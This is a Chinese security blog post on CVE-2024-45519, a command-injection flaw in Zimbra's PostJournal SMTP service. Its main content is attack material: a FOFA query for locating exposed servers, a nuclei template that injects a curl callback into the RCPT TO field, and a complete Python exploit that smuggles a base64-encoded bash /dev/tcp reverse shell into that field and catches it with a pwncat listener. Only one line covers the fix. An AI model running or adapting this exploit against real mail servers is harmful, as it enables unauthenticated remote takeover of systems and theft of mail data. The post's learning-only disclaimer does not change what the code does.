CVE-2024-45519 poc exp

CVE-2024-45519 poc exp

原创 fgz AI与网安 2024-10-07 17:39





本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

01

漏洞名称

Zimbra Collaboration Suite远程代码执行
漏洞

02

漏洞影响

Zimbra Collaboration (ZCS) 8.8.15 补丁 46 之前的版本、9.0.0 补丁 41 之前的 9、10.0.9 之前的 10 以及 10.1.1 之前的版本。

03

漏洞描述

Zimbra Collaboration Suite的PostJournal服务中存在基于SMTP的漏洞,允许未经身份验证的攻击者注入任意命令。此漏洞是由于对SMTP输入的不严格过滤造成的,使攻击者能够制作恶意SMTP消息,在Zimbra用户上下文下执行命令。成功利用该漏洞可能导致未经授权的访问、权限升级。

04

FOFA搜索语句

icon_hash="1624375939"

05

nuclei poc

poc文件来自官网,内容如下

id: CVE-2024-45519

info:
  name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution
  author: pdresearch,iamnoooob,parthmalhotra,ice3man543
  severity: critical
  description: |
    SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system's integrity and confidentiality.
  reference:
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    - https://blog.projectdiscovery.io/zimbra-remote-code-execution/
  classification:
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    vendor: synacor
    product: zimbra_collaboration_suite
    shodan-query:
      - http.title:"zimbra collaboration suite"
      - http.title:"zimbra web client sign in"
      - http.favicon.hash:1624375939
    fofa-query:
      - title="zimbra web client sign in"
      - title="zimbra collaboration suite"
  tags: cve,cve2024,rce,zimbra

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      let m = require('nuclei/net');
      let address = Host+":"+Port;
      let conn;
      conn=  m.Open('tcp', address)
      conn.Send('EHLO localhost\r\n');
      conn.RecvString()
      conn.Send('MAIL FROM: <[email protected]>\r\n');
      conn.RecvString()
      conn.Send('RCPT TO: <"aabbb$(curl${IFS}'+oast+')"@mail.domain.com>\r\n');
      conn.RecvString()
      conn.Send('DATA\r\n');
      conn.RecvString()
      conn.Send('aaa\r\n');
      conn.RecvString()
      conn.Send('.\r\n');
      resp = conn.RecvString()
      conn.Send('QUIT\r\n');
      conn.Close()
      resp
    args:
      Host: "{{Host}}"
      Port: 25
      oast: "{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "message delivered"

06

EXP

EXP来自https://github.com/Chocapikk/CVE-2024-45519

import time
import base64
import socket
import threading
import pwncat.manager
import rich_click as click

from pwn import *
from faker import Faker


class SMTPExploit:
    def __init__(self, target, port, lhost, lport):
        self.target = target
        self.port = port
        self.lhost = lhost
        self.lport = lport
        self.mail_from = self.generate_random_email()
        self.rcpt_to = self.generate_random_email()
        self.sock = None
        self.command = self.generate_base64_revshell()

    def generate_random_email(self):
        fake = Faker()
        return fake.email()

    def generate_base64_revshell(self):
        revshell = f"/bin/bash -i 5<> /dev/tcp/{self.lhost}/{self.lport} 0<&5 1>&5 2>&5"
        base64_revshell = base64.b64encode(revshell.encode()).decode()

        payload = f"echo${{IFS}}{base64_revshell}|base64${{IFS}}-d|bash"
        return payload

    def generate_injected_rcpt_to(self):
        return f'"aabbb$({self.command})@{self.rcpt_to}"'

    def connect(self):
        try:
            self.sock = remote(self.target, self.port)
            banner = self.sock.recv(4096)
            log.info(f"Banner received: {banner.decode().strip()}")
        except Exception as e:
            log.error(f"Failed to connect to SMTP server: {e}")
            self.clean_exit()

    def send_smtp_command(self, command):
        try:
            self.sock.sendline(command.encode())
            response = self.sock.recv(4096).decode().strip()
            log.info(f"Response: {response}")
            return response
        except EOFError:
            log.error("Connection closed by the server.")
            self.clean_exit()
        except Exception as e:
            log.error(f"Error sending command '{command}': {e}")
            self.clean_exit()

    def clean_exit(self):
        """Close the socket and stop the listener in case of failure"""
        if self.sock:
            self.sock.close()
            log.info("Connection closed")
        listener.listener_event.set()
        log.error("Exploitation failed, exiting.")
        exit(1)

    def run(self):
        log.info(f"Connecting to SMTP server {self.target}:{self.port}...")
        self.connect()

        self.send_smtp_command("EHLO localhost")

        self.send_smtp_command(f"MAIL FROM: <{self.mail_from}>")

        injected_rcpt_to = self.generate_injected_rcpt_to()
        self.send_smtp_command(f"RCPT TO: <{injected_rcpt_to}>")

        self.send_smtp_command("DATA")

        self.sock.sendline("Test message".encode())
        self.sock.sendline(".".encode())
        data_response = self.sock.recv(4096).decode().strip()
        log.info(f"Response after data: {data_response}")

        self.send_smtp_command("QUIT")

        self.sock.close()
        log.success("Exploitation completed successfully!")


class Listener:
    def __init__(self, bind_host, bind_port):
        self.bind_host = bind_host
        self.bind_port = bind_port

    def start_listener(self):
        try:
            with socket.create_server((self.bind_host, self.bind_port)) as listener:
                log.info(f"Listening on {self.bind_host}:{self.bind_port}...")
                listener.settimeout(1)
                while True:
                    try:
                        client, addr = listener.accept()
                        log.success(f"Received connection from {addr[0]}:{addr[1]}")
                        with pwncat.manager.Manager() as manager:
                            manager.create_session(
                                platform="linux", protocol="socket", client=client
                            )
                            manager.interactive()
                        break
                    except socket.timeout:
                        continue
        except Exception as e:
            log.error(f"Failed to start listener: {e}")


@click.command()
@click.argument("target")
@click.option(
    "-p",
    "--port",
    type=int,
    default=25,
    show_default=True,
    help="SMTP port (default: 25)",
)
@click.option(
    "-lh",
    "--lhost",
    default="0.0.0.0",
    show_default=True,
    help="Local host for listener",
)
@click.option(
    "-lp",
    "--lport",
    type=int,
    default=4444,
    show_default=True,
    help="Local port for listener",
)
def main(target, port, lhost, lport):
    """Exploit the Zimbra Postjournal SMTP vulnerability to execute arbitrary commands."""
    listener = Listener(lhost, lport)
    listener_thread = threading.Thread(target=listener.start_listener)
    listener_thread.start()

    time.sleep(1)

    exploit = SMTPExploit(target, port, lhost, lport)
    try:
        exploit.run()
    except Exception as e:
        log.error(f"An error occurred during the exploit: {e}")

    listener_thread.join()


if __name__ == "__main__":
    main()

07

修复建议

尽快打补丁。